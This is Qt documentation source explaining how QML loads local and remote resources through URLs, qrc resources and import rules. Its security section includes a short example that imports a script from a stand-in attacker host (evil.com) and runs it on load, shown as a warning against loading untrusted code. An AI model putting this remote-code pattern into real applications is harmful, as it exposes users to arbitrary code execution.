1// Copyright (C) 2021 The Qt Company Ltd.
2// SPDX-License-Identifier: LicenseRef-Qt-Commercial OR GFDL-1.3-no-invariants-only
4\page qtqml-documents-networktransparency.html
5\title Resource Loading and Network Transparency
6\brief about loading files and resources across a network
8QML supports network transparency by using URLs (rather than file names) for all
9references from a QML document to other content. This means that anywhere a URL source is expected,
10QML can handle remote resources as well as local ones, for example in the following image source:
14 source: "http://www.example.com/images/logo.png"
18Since a \e relative URL is the same
19as a relative file, development of QML on regular file systems remains simple:
23 source: "images/logo.png"
27Network transparency is supported throughout QML, for example, both the FontLoader
28and Image elements support loading resources from a remote server.
30Even QML types themselves can be on the network: if the
31\l {Prototyping with the QML Runtime Tool}{qml tool} is used to load
32\tt http://example.com/mystuff/Hello.qml and that content refers to a type "World", the engine
33will load \tt http://example.com/mystuff/qmldir and resolve the type just as it would for a local file.
34For example if the qmldir file contains the line "World World.qml", it will load
35\tt http://example.com/mystuff/World.qml
36Any other resources that \tt Hello.qml referred to, usually by a relative URL, would
37similarly be loaded from the network.
40\section1 Relative vs. Absolute URLs
42Whenever an object has a property of type URL (QUrl), assigning a string to that
43property will actually assign an absolute URL - by resolving the string against
44the URL of the document where the string is used.
46For example, consider this content in \tt{http://example.com/mystuff/test.qml}:
50 source: "images/logo.png"
54The \l Image source property will be assigned \tt{http://example.com/mystuff/images/logo.png},
55but while the QML is being developed, in say \tt C:\\User\\Fred\\Documents\\MyStuff\\test.qml, it will be assigned
56\tt C:\\User\\Fred\\Documents\\MyStuff\\images\\logo.png.
58If the string assigned to a URL is already an absolute URL, then "resolving" does
59not change it and the URL is assigned directly.
62\section1 QRC Resources
64One of the URL schemes built into Qt is the "qrc" scheme. This allows content to be compiled into
65the executable using \l{The Qt Resource System}. Using this, an executable can reference QML content
66that is compiled into the executable:
69 QQuickView *view = new QQuickView;
70 view->setUrl(QUrl("qrc:/dial.qml"));
73The content itself can then use relative URLs, and so be transparently unaware that the content is
74compiled into the executable.
79The \c import statement is only network transparent if it has an "as" clause.
83\li \c{import "dir"} only works on local file systems
84\li \c{import libraryUri} only works on local file systems
85\li \c{import "dir" as D} works network transparently
86\li \c{import libraryUrl as U} works network transparently
90\section1 Implications for Application Security
92The QML security model is that QML content is a chain of trusted content: the user
93installs QML content that they trust in the same way as they install native Qt applications,
94or programs written with runtimes such as Python and Perl. That trust is establish by any
95of a number of mechanisms, including the availability of package signing on some platforms.
97In order to preserve the trust of users, QML application developers should not load
98and execute arbitrary JavaScript or QML resources. For example, consider the QML code below:
102import "http://evil.com/evil.js" as Evil
105 onLoaded: Evil.doEvil()
109This is equivalent to downloading and executing "http://evil.com/evil.exe". \b {The QML engine
110will not prevent particular resources from being loaded}. Unlike JavaScript code that is run within a web browser, a QML application can load remote or local filesystem resources in the same way as any other native applications, so application developers must be careful in loading and executing any content.
112As with any application accessing other content beyond its control, a QML application should
113perform appropriate checks on any untrusted data it loads. \b {Do not, for example, use \c import, \l Loader or \l XMLHttpRequest to load any untrusted code or content.}